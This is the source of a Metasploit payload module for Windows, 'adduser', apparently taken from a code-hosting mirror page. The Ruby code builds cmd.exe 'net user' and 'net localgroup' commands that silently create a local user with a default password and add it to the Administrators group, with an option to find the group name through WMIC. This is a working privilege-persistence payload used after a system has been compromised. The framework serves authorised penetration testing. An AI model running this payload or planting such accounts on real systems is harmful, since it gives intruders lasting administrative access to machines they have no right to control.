Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/adduser.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456###7#8# Extends the Exec payload to add a new user.9#10###11module MetasploitModule1213CachedSize = 2821415include Msf::Payload::Windows::Exec1617def initialize(info = {})18super(update_info(info,19'Name' => 'Windows Execute net user /ADD',20'Description' => %q{21Create a new user and add them to local administration group.2223Note: The specified password is checked for common complexity24requirements to prevent the target machine rejecting the user25for failing to meet policy requirements.2627Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)28},29'Author' => ['hdm','Chris John Riley'],30'License' => MSF_LICENSE,31'Platform' => 'win',32'Arch' => ARCH_X86,33'Privileged' => true))3435# Register command execution options36register_options(37[38OptString.new('USER', [ true, "The username to create", "metasploit" ]),39OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]),40OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]),41OptBool.new('WMIC', [ true, "Use WMIC on the target to resolve administrators group", false ]),42])4344register_advanced_options(45[46OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]),47])4849# Hide the CMD option...this is kinda ugly50deregister_options('CMD')51end5253#54# Override the exec command string55#56def command_string57user = datastore['USER'] || 'metasploit'58pass = datastore['PASS'] || ''59cust = datastore['CUSTOM'] || ''60wmic = datastore['WMIC']61complexity= datastore['COMPLEXITY']6263if(pass.length > 14)64raise ArgumentError, "Password for the adduser payload must be 14 characters or less"65end6667if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/68raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"69end7071if not cust.empty?72print_status("Using custom group name #{cust}")73return "cmd.exe /c net user #{user} #{pass} /ADD && " +74"net localgroup \"#{cust}\" #{user} /ADD"75elsif wmic76print_status("Using WMIC to discover the administrative group name")77return "cmd.exe /c \"FOR /F \"usebackq tokens=2* skip=1 delims==\" " +78"%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " +79"FOR /F \"usebackq tokens=1 delims==\" %X IN (`echo %G`); do " +80"net user #{user} #{pass} /ADD && " +81"net localgroup \"%X\" #{user} /ADD\""82else83return "cmd.exe /c net user #{user} #{pass} /ADD && " +84"net localgroup Administrators #{user} /ADD"85end8687end88end89909192